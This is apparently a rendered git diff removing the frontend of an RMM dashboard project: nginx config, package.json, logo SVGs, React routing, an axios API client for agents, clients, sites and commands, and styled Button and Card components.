|
||||
listen 80;
|
||||
server_name _;
|
||||
root /usr/share/nginx/html;
|
||||
index index.html;
|
||||
|
||||
# Gzip compression
|
||||
gzip on;
|
||||
gzip_vary on;
|
||||
gzip_min_length 1024;
|
||||
gzip_proxied expired no-cache no-store private auth;
|
||||
gzip_types text/plain text/css text/xml text/javascript application/x-javascript application/xml application/javascript application/json;
|
||||
|
||||
# Security headers
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
|
||||
# SPA routing - serve index.html for all routes
|
||||
location / {
|
||||
try_files $uri $uri/ /index.html;
|
||||
}
|
||||
|
||||
# Cache static assets
|
||||
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
|
||||
expires 1y;
|
||||
add_header Cache-Control "public, immutable";
|
||||
}
|
||||
|
||||
# Don't cache index.html
|
||||
location = /index.html {
|
||||
expires -1;
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate";
|
||||
}
|
||||
}
|
||||
4700
projects/msp-tools/guru-rmm/dashboard/package-lock.json
generated
4700
projects/msp-tools/guru-rmm/dashboard/package-lock.json
generated
File diff suppressed because it is too large
Load Diff
@@ -1,41 +0,0 @@
|
||||
{
|
||||
"name": "dashboard",
|
||||
"private": true,
|
||||
"version": "0.2.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "tsc -b && vite build",
|
||||
"lint": "eslint .",
|
||||
"preview": "vite preview"
|
||||
},
|
||||
"dependencies": {
|
||||
"@tanstack/react-query": "^5.90.12",
|
||||
"axios": "^1.13.2",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.561.0",
|
||||
"react": "^19.2.0",
|
||||
"react-dom": "^19.2.0",
|
||||
"react-router-dom": "^7.10.1",
|
||||
"recharts": "^3.6.0",
|
||||
"tailwind-merge": "^3.4.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@eslint/js": "^9.39.1",
|
||||
"@tailwindcss/vite": "^4.1.18",
|
||||
"@types/node": "^24.10.1",
|
||||
"@types/react": "^19.2.5",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@vitejs/plugin-react": "^5.1.1",
|
||||
"autoprefixer": "^10.4.22",
|
||||
"eslint": "^9.39.1",
|
||||
"eslint-plugin-react-hooks": "^7.0.1",
|
||||
"eslint-plugin-react-refresh": "^0.4.24",
|
||||
"globals": "^16.5.0",
|
||||
"postcss": "^8.5.6",
|
||||
"tailwindcss": "^4.1.18",
|
||||
"typescript": "~5.9.3",
|
||||
"typescript-eslint": "^8.46.4",
|
||||
"vite": "^7.2.4"
|
||||
}
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="31.88" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 257"><defs><linearGradient id="IconifyId1813088fe1fbc01fb466" x1="-.828%" x2="57.636%" y1="7.652%" y2="78.411%"><stop offset="0%" stop-color="#41D1FF"></stop><stop offset="100%" stop-color="#BD34FE"></stop></linearGradient><linearGradient id="IconifyId1813088fe1fbc01fb467" x1="43.376%" x2="50.316%" y1="2.242%" y2="89.03%"><stop offset="0%" stop-color="#FFEA83"></stop><stop offset="8.333%" stop-color="#FFDD35"></stop><stop offset="100%" stop-color="#FFA800"></stop></linearGradient></defs><path fill="url(#IconifyId1813088fe1fbc01fb466)" d="M255.153 37.938L134.897 252.976c-2.483 4.44-8.862 4.466-11.382.048L.875 37.958c-2.746-4.814 1.371-10.646 6.827-9.67l120.385 21.517a6.537 6.537 0 0 0 2.322-.004l117.867-21.483c5.438-.991 9.574 4.796 6.877 9.62Z"></path><path fill="url(#IconifyId1813088fe1fbc01fb467)" d="M185.432.063L96.44 17.501a3.268 3.268 0 0 0-2.634 3.014l-5.474 92.456a3.268 3.268 0 0 0 3.997 3.378l24.777-5.718c2.318-.535 4.413 1.507 3.936 3.838l-7.361 36.047c-.495 2.426 1.782 4.5 4.151 3.78l15.304-4.649c2.372-.72 4.652 1.36 4.15 3.788l-11.698 56.621c-.732 3.542 3.979 5.473 5.943 2.437l1.313-2.028l72.516-144.72c1.215-2.423-.88-5.186-3.54-4.672l-25.505 4.922c-2.396.462-4.435-1.77-3.759-4.114l16.646-57.705c.677-2.35-1.37-4.583-3.769-4.113Z"></path></svg>
|
||||
|
Before Width: | Height: | Size: 1.5 KiB |
@@ -1,161 +0,0 @@
|
||||
import { BrowserRouter, Routes, Route, Navigate } from "react-router-dom";
|
||||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||||
import { AuthProvider, useAuth } from "./hooks/useAuth";
|
||||
import { Layout } from "./components/Layout";
|
||||
import { Login } from "./pages/Login";
|
||||
import { Register } from "./pages/Register";
|
||||
import { Dashboard } from "./pages/Dashboard";
|
||||
import { Clients } from "./pages/Clients";
|
||||
import { Sites } from "./pages/Sites";
|
||||
import { Agents } from "./pages/Agents";
|
||||
import { AgentDetail } from "./pages/AgentDetail";
|
||||
import { History, HistoryDetail } from "./pages/History";
|
||||
import { Settings } from "./pages/Settings";
|
||||
import "./index.css";
|
||||
|
||||
const queryClient = new QueryClient({
|
||||
defaultOptions: {
|
||||
queries: {
|
||||
staleTime: 1000 * 60,
|
||||
retry: 1,
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
function ProtectedRoute({ children }: { children: React.ReactNode }) {
|
||||
const { user, isLoading } = useAuth();
|
||||
|
||||
if (isLoading) {
|
||||
return (
|
||||
<div className="min-h-screen flex items-center justify-center">
|
||||
<p className="text-[hsl(var(--muted-foreground))]">Loading...</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (!user) {
|
||||
return <Navigate to="/login" replace />;
|
||||
}
|
||||
|
||||
return <Layout>{children}</Layout>;
|
||||
}
|
||||
|
||||
function PublicRoute({ children }: { children: React.ReactNode }) {
|
||||
const { user, isLoading } = useAuth();
|
||||
|
||||
if (isLoading) {
|
||||
return (
|
||||
<div className="min-h-screen flex items-center justify-center">
|
||||
<p className="text-[hsl(var(--muted-foreground))]">Loading...</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (user) {
|
||||
return <Navigate to="/" replace />;
|
||||
}
|
||||
|
||||
return <>{children}</>;
|
||||
}
|
||||
|
||||
function AppRoutes() {
|
||||
return (
|
||||
<Routes>
|
||||
<Route
|
||||
path="/login"
|
||||
element={
|
||||
<PublicRoute>
|
||||
<Login />
|
||||
</PublicRoute>
|
||||
}
|
||||
/>
|
||||
<Route
|
||||
path="/register"
|
||||
element={
|
||||
<PublicRoute>
|
||||
<Register />
|
||||
</PublicRoute>
|
||||
}
|
||||
/>
|
||||
<Route
|
||||
path="/"
|
||||
element={
|
||||
<ProtectedRoute>
|
||||
<Dashboard />
|
||||
</ProtectedRoute>
|
||||
}
|
||||
/>
|
||||
<Route
|
||||
path="/clients"
|
||||
element={
|
||||
<ProtectedRoute>
|
||||
<Clients />
|
||||
</ProtectedRoute>
|
||||
}
|
||||
/>
|
||||
<Route
|
||||
path="/sites"
|
||||
element={
|
||||
<ProtectedRoute>
|
||||
<Sites />
|
||||
</ProtectedRoute>
|
||||
}
|
||||
/>
|
||||
<Route
|
||||
path="/agents"
|
||||
element={
|
||||
<ProtectedRoute>
|
||||
<Agents />
|
||||
</ProtectedRoute>
|
||||
}
|
||||
/>
|
||||
<Route
|
||||
path="/agents/:id"
|
||||
element={
|
||||
<ProtectedRoute>
|
||||
<AgentDetail />
|
||||
</ProtectedRoute>
|
||||
}
|
||||
/>
|
||||
<Route
|
||||
path="/history"
|
||||
element={
|
||||
<ProtectedRoute>
|
||||
<History />
|
||||
</ProtectedRoute>
|
||||
}
|
||||
/>
|
||||
<Route
|
||||
path="/history/:id"
|
||||
element={
|
||||
<ProtectedRoute>
|
||||
<HistoryDetail />
|
||||
</ProtectedRoute>
|
||||
}
|
||||
/>
|
||||
<Route
|
||||
path="/settings"
|
||||
element={
|
||||
<ProtectedRoute>
|
||||
<Settings />
|
||||
</ProtectedRoute>
|
||||
}
|
||||
/>
|
||||
<Route path="*" element={<Navigate to="/" replace />} />
|
||||
</Routes>
|
||||
);
|
||||
}
|
||||
|
||||
function App() {
|
||||
return (
|
||||
<QueryClientProvider client={queryClient}>
|
||||
<BrowserRouter>
|
||||
<AuthProvider>
|
||||
<AppRoutes />
|
||||
</AuthProvider>
|
||||
</BrowserRouter>
|
||||
</QueryClientProvider>
|
||||
);
|
||||
}
|
||||
|
||||
export default App;
|
||||
@@ -1,250 +0,0 @@
|
||||
import axios, { AxiosError } from "axios";
|
||||
|
||||
// Default to production URL, override with VITE_API_URL for local dev
|
||||
const API_URL = import.meta.env.VITE_API_URL || "https://rmm-api.azcomputerguru.com";
|
||||
|
||||
export const api = axios.create({
|
||||
baseURL: API_URL,
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
},
|
||||
});
|
||||
|
||||
// Token management - use sessionStorage (cleared on tab close) instead of localStorage
|
||||
// This provides better security against XSS attacks as tokens are not persisted
|
||||
const TOKEN_KEY = "gururmm_auth_token";
|
||||
|
||||
export const getToken = (): string | null => {
|
||||
return sessionStorage.getItem(TOKEN_KEY);
|
||||
};
|
||||
|
||||
export const setToken = (token: string): void => {
|
||||
sessionStorage.setItem(TOKEN_KEY, token);
|
||||
};
|
||||
|
||||
export const clearToken = (): void => {
|
||||
sessionStorage.removeItem(TOKEN_KEY);
|
||||
};
|
||||
|
||||
// Request interceptor - add auth header
|
||||
api.interceptors.request.use((config) => {
|
||||
const token = getToken();
|
||||
if (token) {
|
||||
config.headers.Authorization = `Bearer ${token}`;
|
||||
}
|
||||
return config;
|
||||
});
|
||||
|
||||
// Response interceptor - handle 401 unauthorized
|
||||
api.interceptors.response.use(
|
||||
(response) => response,
|
||||
(error: AxiosError) => {
|
||||
if (error.response?.status === 401) {
|
||||
clearToken();
|
||||
// Use a more graceful redirect that preserves SPA state
|
||||
if (window.location.pathname !== "/login") {
|
||||
window.location.href = "/login";
|
||||
}
|
||||
}
|
||||
return Promise.reject(error);
|
||||
}
|
||||
);
|
||||
|
||||
// API types
|
||||
export interface Agent {
|
||||
id: string;
|
||||
hostname: string;
|
||||
os_type: string;
|
||||
os_version: string | null;
|
||||
agent_version: string | null;
|
||||
status: "online" | "offline" | "error";
|
||||
last_seen: string | null;
|
||||
created_at: string;
|
||||
device_id: string | null;
|
||||
site_id: string | null;
|
||||
site_name: string | null;
|
||||
client_id: string | null;
|
||||
client_name: string | null;
|
||||
}
|
||||
|
||||
export interface Metrics {
|
||||
id: number;
|
||||
agent_id: string;
|
||||
timestamp: string;
|
||||
cpu_percent: number;
|
||||
memory_percent: number;
|
||||
memory_used_bytes: number;
|
||||
disk_percent: number;
|
||||
disk_used_bytes: number;
|
||||
network_rx_bytes: number;
|
||||
network_tx_bytes: number;
|
||||
// Extended metrics
|
||||
uptime_seconds?: number;
|
||||
boot_time?: number;
|
||||
logged_in_user?: string;
|
||||
user_idle_seconds?: number;
|
||||
public_ip?: string;
|
||||
memory_total_bytes?: number;
|
||||
disk_total_bytes?: number;
|
||||
}
|
||||
|
||||
export interface NetworkInterface {
|
||||
name: string;
|
||||
mac_address?: string;
|
||||
ipv4_addresses: string[];
|
||||
ipv6_addresses: string[];
|
||||
}
|
||||
|
||||
export interface AgentState {
|
||||
agent_id: string;
|
||||
network_interfaces?: NetworkInterface[];
|
||||
network_state_hash?: string;
|
||||
uptime_seconds?: number;
|
||||
boot_time?: number;
|
||||
logged_in_user?: string;
|
||||
user_idle_seconds?: number;
|
||||
public_ip?: string;
|
||||
network_updated_at?: string;
|
||||
metrics_updated_at?: string;
|
||||
}
|
||||
|
||||
export interface Command {
|
||||
id: string;
|
||||
agent_id: string;
|
||||
command_type: string;
|
||||
command_text: string;
|
||||
status: "pending" | "running" | "completed" | "failed" | "cancelled";
|
||||
exit_code: number | null;
|
||||
stdout: string | null;
|
||||
stderr: string | null;
|
||||
created_at: string;
|
||||
completed_at: string | null;
|
||||
}
|
||||
|
||||
export interface User {
|
||||
id: string;
|
||||
email: string;
|
||||
name: string | null;
|
||||
role: string;
|
||||
}
|
||||
|
||||
export interface Client {
|
||||
id: string;
|
||||
name: string;
|
||||
code: string | null;
|
||||
notes: string | null;
|
||||
is_active: boolean;
|
||||
created_at: string;
|
||||
site_count: number;
|
||||
}
|
||||
|
||||
export interface Site {
|
||||
id: string;
|
||||
client_id: string;
|
||||
client_name: string | null;
|
||||
name: string;
|
||||
site_code: string;
|
||||
address: string | null;
|
||||
notes: string | null;
|
||||
is_active: boolean;
|
||||
created_at: string;
|
||||
agent_count: number;
|
||||
}
|
||||
|
||||
export interface CreateSiteResponse {
|
||||
site: Site;
|
||||
api_key: string;
|
||||
message: string;
|
||||
}
|
||||
|
||||
export interface LoginRequest {
|
||||
email: string;
|
||||
password: string;
|
||||
}
|
||||
|
||||
export interface LoginResponse {
|
||||
token: string;
|
||||
user: User;
|
||||
}
|
||||
|
||||
export interface RegisterRequest {
|
||||
email: string;
|
||||
password: string;
|
||||
name?: string;
|
||||
}
|
||||
|
||||
// API functions
|
||||
export const authApi = {
|
||||
login: async (data: LoginRequest): Promise<LoginResponse> => {
|
||||
const response = await api.post<LoginResponse>("/api/auth/login", data);
|
||||
if (response.data.token) {
|
||||
setToken(response.data.token);
|
||||
}
|
||||
return response.data;
|
||||
},
|
||||
|
||||
register: async (data: RegisterRequest): Promise<LoginResponse> => {
|
||||
const response = await api.post<LoginResponse>("/api/auth/register", data);
|
||||
if (response.data.token) {
|
||||
setToken(response.data.token);
|
||||
}
|
||||
return response.data;
|
||||
},
|
||||
|
||||
me: () => api.get<User>("/api/auth/me"),
|
||||
|
||||
logout: (): void => {
|
||||
clearToken();
|
||||
},
|
||||
|
||||
isAuthenticated: (): boolean => {
|
||||
return !!getToken();
|
||||
},
|
||||
};
|
||||
|
||||
export const agentsApi = {
|
||||
list: () => api.get<Agent[]>("/api/agents"),
|
||||
listUnassigned: () => api.get<Agent[]>("/api/agents/unassigned"),
|
||||
get: (id: string) => api.get<Agent>(`/api/agents/${id}`),
|
||||
delete: (id: string) => api.delete(`/api/agents/${id}`),
|
||||
move: (id: string, siteId: string | null) =>
|
||||
api.post<Agent>(`/api/agents/${id}/move`, { site_id: siteId }),
|
||||
getMetrics: (id: string, hours?: number) =>
|
||||
api.get<Metrics[]>(`/api/agents/${id}/metrics`, { params: { hours } }),
|
||||
getState: (id: string) => api.get<AgentState>(`/api/agents/${id}/state`),
|
||||
};
|
||||
|
||||
export const commandsApi = {
|
||||
send: (agentId: string, command: { command_type: string; command: string }) =>
|
||||
api.post<Command>(`/api/agents/${agentId}/command`, command),
|
||||
list: () => api.get<Command[]>("/api/commands"),
|
||||
get: (id: string) => api.get<Command>(`/api/commands/${id}`),
|
||||
cancelCommand: (id: string) =>
|
||||
api.post<{ status: string; message: string }>(`/api/commands/${id}/cancel`),
|
||||
deleteCommand: (id: string) => api.delete(`/api/commands/${id}`),
|
||||
clearCommandHistory: () =>
|
||||
api.delete<{ deleted: number; message: string }>("/api/commands"),
|
||||
};
|
||||
|
||||
export const clientsApi = {
|
||||
list: () => api.get<Client[]>("/api/clients"),
|
||||
get: (id: string) => api.get<Client>(`/api/clients/${id}`),
|
||||
create: (data: { name: string; code?: string; notes?: string }) =>
|
||||
api.post<Client>("/api/clients", data),
|
||||
update: (id: string, data: { name?: string; code?: string; notes?: string; is_active?: boolean }) =>
|
||||
api.put<Client>(`/api/clients/${id}`, data),
|
||||
delete: (id: string) => api.delete(`/api/clients/${id}`),
|
||||
};
|
||||
|
||||
export const sitesApi = {
|
||||
list: () => api.get<Site[]>("/api/sites"),
|
||||
get: (id: string) => api.get<Site>(`/api/sites/${id}`),
|
||||
listByClient: (clientId: string) => api.get<Site[]>(`/api/clients/${clientId}/sites`),
|
||||
create: (data: { client_id: string; name: string; address?: string; notes?: string }) =>
|
||||
api.post<CreateSiteResponse>("/api/sites", data),
|
||||
update: (id: string, data: { name?: string; address?: string; notes?: string; is_active?: boolean }) =>
|
||||
api.put<Site>(`/api/sites/${id}`, data),
|
||||
delete: (id: string) => api.delete(`/api/sites/${id}`),
|
||||
regenerateApiKey: (id: string) =>
|
||||
api.post<{ api_key: string; message: string }>(`/api/sites/${id}/regenerate-key`),
|
||||
};
|
||||
@@ -1 +0,0 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="35.93" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 228"><path fill="#00D8FF" d="M210.483 73.824a171.49 171.49 0 0 0-8.24-2.597c.465-1.9.893-3.777 1.273-5.621c6.238-30.281 2.16-54.676-11.769-62.708c-13.355-7.7-35.196.329-57.254 19.526a171.23 171.23 0 0 0-6.375 5.848a155.866 155.866 0 0 0-4.241-3.917C100.759 3.829 77.587-4.822 63.673 3.233C50.33 10.957 46.379 33.89 51.995 62.588a170.974 170.974 0 0 0 1.892 8.48c-3.28.932-6.445 1.924-9.474 2.98C17.309 83.498 0 98.307 0 113.668c0 15.865 18.582 31.778 46.812 41.427a145.52 145.52 0 0 0 6.921 2.165a167.467 167.467 0 0 0-2.01 9.138c-5.354 28.2-1.173 50.591 12.134 58.266c13.744 7.926 36.812-.22 59.273-19.855a145.567 145.567 0 0 0 5.342-4.923a168.064 168.064 0 0 0 6.92 6.314c21.758 18.722 43.246 26.282 56.54 18.586c13.731-7.949 18.194-32.003 12.4-61.268a145.016 145.016 0 0 0-1.535-6.842c1.62-.48 3.21-.974 4.76-1.488c29.348-9.723 48.443-25.443 48.443-41.52c0-15.417-17.868-30.326-45.517-39.844Zm-6.365 70.984c-1.4.463-2.836.91-4.3 1.345c-3.24-10.257-7.612-21.163-12.963-32.432c5.106-11 9.31-21.767 12.459-31.957c2.619.758 5.16 1.557 7.61 2.4c23.69 8.156 38.14 20.213 38.14 29.504c0 9.896-15.606 22.743-40.946 31.14Zm-10.514 20.834c2.562 12.94 2.927 24.64 1.23 33.787c-1.524 8.219-4.59 13.698-8.382 15.893c-8.067 4.67-25.32-1.4-43.927-17.412a156.726 156.726 0 0 1-6.437-5.87c7.214-7.889 14.423-17.06 21.459-27.246c12.376-1.098 24.068-2.894 34.671-5.345a134.17 134.17 0 0 1 1.386 6.193ZM87.276 214.515c-7.882 2.783-14.16 2.863-17.955.675c-8.075-4.657-11.432-22.636-6.853-46.752a156.923 156.923 0 0 1 1.869-8.499c10.486 2.32 22.093 3.988 34.498 4.994c7.084 9.967 14.501 19.128 21.976 27.15a134.668 134.668 0 0 1-4.877 4.492c-9.933 8.682-19.886 14.842-28.658 17.94ZM50.35 144.747c-12.483-4.267-22.792-9.812-29.858-15.863c-6.35-5.437-9.555-10.836-9.555-15.216c0-9.322 13.897-21.212 37.076-29.293c2.813-.98 5.757-1.905 8.812-2.773c3.204 10.42 7.406 21.315 12.477 32.332c-5.137 11.18-9.399 22.249-12.634 32.792a134.718 134.718 0 0 1-6.318-1.979Zm12.378-84.26c-4.811-24.587-1.616-43.134 6.425-47.789c8.564-4.958 27.502 2.111 47.463 19.835a144.318 144.318 0 0 1 3.841 3.545c-7.438 7.987-14.787 17.08-21.808 26.988c-12.04 1.116-23.565 2.908-34.161 5.309a160.342 160.342 0 0 1-1.76-7.887Zm110.427 27.268a347.8 347.8 0 0 0-7.785-12.803c8.168 1.033 15.994 2.404 23.343 4.08c-2.206 7.072-4.956 14.465-8.193 22.045a381.151 381.151 0 0 0-7.365-13.322Zm-45.032-43.861c5.044 5.465 10.096 11.566 15.065 18.186a322.04 322.04 0 0 0-30.257-.006c4.974-6.559 10.069-12.652 15.192-18.18ZM82.802 87.83a323.167 323.167 0 0 0-7.227 13.238c-3.184-7.553-5.909-14.98-8.134-22.152c7.304-1.634 15.093-2.97 23.209-3.984a321.524 321.524 0 0 0-7.848 12.897Zm8.081 65.352c-8.385-.936-16.291-2.203-23.593-3.793c2.26-7.3 5.045-14.885 8.298-22.6a321.187 321.187 0 0 0 7.257 13.246c2.594 4.48 5.28 8.868 8.038 13.147Zm37.542 31.03c-5.184-5.592-10.354-11.779-15.403-18.433c4.902.192 9.899.29 14.978.29c5.218 0 10.376-.117 15.453-.343c-4.985 6.774-10.018 12.97-15.028 18.486Zm52.198-57.817c3.422 7.8 6.306 15.345 8.596 22.52c-7.422 1.694-15.436 3.058-23.88 4.071a382.417 382.417 0 0 0 7.859-13.026a347.403 347.403 0 0 0 7.425-13.565Zm-16.898 8.101a358.557 358.557 0 0 1-12.281 19.815a329.4 329.4 0 0 1-23.444.823c-7.967 0-15.716-.248-23.178-.732a310.202 310.202 0 0 1-12.513-19.846h.001a307.41 307.41 0 0 1-10.923-20.627a310.278 310.278 0 0 1 10.89-20.637l-.001.001a307.318 307.318 0 0 1 12.413-19.761c7.613-.576 15.42-.876 23.31-.876H128c7.926 0 15.743.303 23.354.883a329.357 329.357 0 0 1 12.335 19.695a358.489 358.489 0 0 1 11.036 20.54a329.472 329.472 0 0 1-11 20.722Zm22.56-122.124c8.572 4.944 11.906 24.881 6.52 51.026c-.344 1.668-.73 3.367-1.15 5.09c-10.622-2.452-22.155-4.275-34.23-5.408c-7.034-10.017-14.323-19.124-21.64-27.008a160.789 160.789 0 0 1 5.888-5.4c18.9-16.447 36.564-22.941 44.612-18.3ZM128 90.808c12.625 0 22.86 10.235 22.86 22.86s-10.235 22.86-22.86 22.86s-22.86-10.235-22.86-22.86s10.235-22.86 22.86-22.86Z"></path></svg>
|
||||
|
Before Width: | Height: | Size: 4.0 KiB |
@@ -1,78 +0,0 @@
|
||||
import { ButtonHTMLAttributes, forwardRef } from "react";
|
||||
import { cn } from "../lib/utils";
|
||||
|
||||
/**
|
||||
* Mission Control Button Component
|
||||
* Monospace text with smooth transitions and glow effects
|
||||
*/
|
||||
|
||||
export interface ButtonProps extends ButtonHTMLAttributes<HTMLButtonElement> {
|
||||
variant?: "default" | "secondary" | "destructive" | "ghost" | "outline" | "link";
|
||||
size?: "default" | "sm" | "lg" | "icon";
|
||||
}
|
||||
|
||||
const Button = forwardRef<HTMLButtonElement, ButtonProps>(
|
||||
({ className, variant = "default", size = "default", ...props }, ref) => {
|
||||
return (
|
||||
<button
|
||||
className={cn(
|
||||
// Base styles
|
||||
"inline-flex items-center justify-center whitespace-nowrap rounded-lg",
|
||||
"font-mono font-bold text-sm",
|
||||
// Smooth transitions
|
||||
"transition-all duration-300 ease-out",
|
||||
// Focus ring with glow
|
||||
"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-cyan-500/50 focus-visible:ring-offset-2 focus-visible:ring-offset-slate-900",
|
||||
// Hover scale
|
||||
"hover:scale-[1.02]",
|
||||
// Active scale
|
||||
"active:scale-[0.98]",
|
||||
// Disabled state
|
||||
"disabled:pointer-events-none disabled:opacity-50 disabled:shadow-none",
|
||||
|
||||
// Variant styles
|
||||
{
|
||||
// Default (Primary): Cyan gradient with glow on hover
|
||||
"bg-gradient-to-r from-cyan-500 to-blue-600 text-white shadow-lg shadow-cyan-500/25 hover:shadow-cyan-500/40 hover:shadow-xl":
|
||||
variant === "default",
|
||||
|
||||
// Secondary: Dark glass with cyan text
|
||||
"bg-slate-800/80 backdrop-blur-sm border border-slate-700/50 text-cyan-400 hover:border-cyan-500/50 hover:shadow-lg hover:shadow-cyan-500/20":
|
||||
variant === "secondary",
|
||||
|
||||
// Destructive: Rose gradient with glow
|
||||
"bg-gradient-to-r from-rose-500 to-pink-600 text-white shadow-lg shadow-rose-500/25 hover:shadow-rose-500/40 hover:shadow-xl":
|
||||
variant === "destructive",
|
||||
|
||||
// Ghost: Transparent with cyan hover
|
||||
"bg-transparent text-slate-300 hover:bg-cyan-500/10 hover:text-cyan-400":
|
||||
variant === "ghost",
|
||||
|
||||
// Outline: Cyan border, transparent bg, fill on hover
|
||||
"border-2 border-cyan-500/50 bg-transparent text-cyan-400 hover:bg-cyan-500/20 hover:border-cyan-400 hover:shadow-lg hover:shadow-cyan-500/20":
|
||||
variant === "outline",
|
||||
|
||||
// Link: Underline style
|
||||
"text-cyan-400 underline-offset-4 hover:underline hover:text-cyan-300 hover:scale-100":
|
||||
variant === "link",
|
||||
},
|
||||
|
||||
// Size styles
|
||||
{
|
||||
"h-10 px-5 py-2": size === "default",
|
||||
"h-8 rounded-md px-3 text-xs": size === "sm",
|
||||
"h-12 rounded-lg px-8 text-base": size === "lg",
|
||||
"h-10 w-10 p-0": size === "icon",
|
||||
},
|
||||
|
||||
className
|
||||
)}
|
||||
ref={ref}
|
||||
{...props}
|
||||
/>
|
||||
);
|
||||
}
|
||||
);
|
||||
Button.displayName = "Button";
|
||||
|
||||
export { Button };
|
||||
@@ -1,141 +0,0 @@
|
||||
import { HTMLAttributes, forwardRef } from "react";
|
||||
import { cn } from "../lib/utils";
|
||||
|
||||
/**
|
||||
* Mission Control Card Component
|
||||
* Glassmorphism design with optional glow variants
|
||||
*/
|
||||
|
||||
export type CardVariant = "default" | "glow-cyan" | "glow-green" | "glow-amber" | "glow-rose";
|
||||
|
||||
export interface CardProps extends HTMLAttributes<HTMLDivElement> {
|
||||
variant?: CardVariant;
|
||||
}
|
||||
|
||||
const cardVariants: Record<CardVariant, string> = {
|
||||
default: "border-slate-700/50",
|
||||
"glow-cyan": "border-cyan-500/50 shadow-[0_0_15px_rgba(6,182,212,0.15)]",
|
||||
"glow-green": "border-emerald-500/50 shadow-[0_0_15px_rgba(16,185,129,0.15)]",
|
||||
"glow-amber": "border-amber-500/50 shadow-[0_0_15px_rgba(245,158,11,0.15)]",
|
||||
"glow-rose": "border-rose-500/50 shadow-[0_0_15px_rgba(244,63,94,0.15)]",
|
||||
};
|
||||
|
||||
const cardHoverVariants: Record<CardVariant, string> = {
|
||||
default: "hover:border-slate-600/70 hover:shadow-lg hover:shadow-slate-900/50",
|
||||
"glow-cyan": "hover:border-cyan-400/70 hover:shadow-[0_0_25px_rgba(6,182,212,0.25)]",
|
||||
"glow-green": "hover:border-emerald-400/70 hover:shadow-[0_0_25px_rgba(16,185,129,0.25)]",
|
||||
"glow-amber": "hover:border-amber-400/70 hover:shadow-[0_0_25px_rgba(245,158,11,0.25)]",
|
||||
"glow-rose": "hover:border-rose-400/70 hover:shadow-[0_0_25px_rgba(244,63,94,0.25)]",
|
||||
};
|
||||
|
||||
const Card = forwardRef<HTMLDivElement, CardProps>(
|
||||
({ className, variant = "default", ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn(
|
||||
// Base glassmorphism
|
||||
"rounded-xl bg-slate-900/60 backdrop-blur-xl",
|
||||
// Border
|
||||
"border",
|
||||
cardVariants[variant],
|
||||
// Inner shadow for depth
|
||||
"shadow-[inset_0_1px_0_0_rgba(148,163,184,0.1)]",
|
||||
// Text color
|
||||
"text-slate-100",
|
||||
// Transition for hover effects
|
||||
"transition-all duration-300 ease-out",
|
||||
// Hover: subtle lift
|
||||
"hover:-translate-y-0.5",
|
||||
cardHoverVariants[variant],
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
);
|
||||
Card.displayName = "Card";
|
||||
|
||||
const CardHeader = forwardRef<HTMLDivElement, HTMLAttributes<HTMLDivElement>>(
|
||||
({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"flex flex-col space-y-1.5 p-6",
|
||||
// Bottom border separator
|
||||
"border-b border-slate-700/50",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
);
|
||||
CardHeader.displayName = "CardHeader";
|
||||
|
||||
export interface CardTitleProps extends HTMLAttributes<HTMLHeadingElement> {
|
||||
gradient?: boolean;
|
||||
gradientFrom?: string;
|
||||
gradientTo?: string;
|
||||
}
|
||||
|
||||
const CardTitle = forwardRef<HTMLParagraphElement, CardTitleProps>(
|
||||
({ className, gradient = false, gradientFrom = "cyan-400", gradientTo = "blue-500", ...props }, ref) => (
|
||||
<h3
|
||||
ref={ref}
|
||||
className={cn(
|
||||
// Monospace/bold styling
|
||||
"font-mono font-bold leading-none tracking-tight text-lg",
|
||||
// Gradient text option
|
||||
gradient && [
|
||||
"bg-clip-text text-transparent",
|
||||
`bg-gradient-to-r from-${gradientFrom} to-${gradientTo}`,
|
||||
],
|
||||
// Default text color when not gradient
|
||||
!gradient && "text-slate-100",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
);
|
||||
CardTitle.displayName = "CardTitle";
|
||||
|
||||
const CardDescription = forwardRef<HTMLParagraphElement, HTMLAttributes<HTMLParagraphElement>>(
|
||||
({ className, ...props }, ref) => (
|
||||
<p
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"text-sm text-slate-400",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
);
|
||||
CardDescription.displayName = "CardDescription";
|
||||
|
||||
const CardContent = forwardRef<HTMLDivElement, HTMLAttributes<HTMLDivElement>>(
|
||||
({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn("p-6 pt-0", className)}
|
||||
{...props}
|
||||
/>
|
||||
)
|
||||
);
|
||||
CardContent.displayName = "CardContent";
|
||||
|
||||
const CardFooter = forwardRef<HTMLDivElement, HTMLAttributes<HTMLDivElement>>(
|
||||
({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"flex items-center p-6 pt-0",
|
||||
className
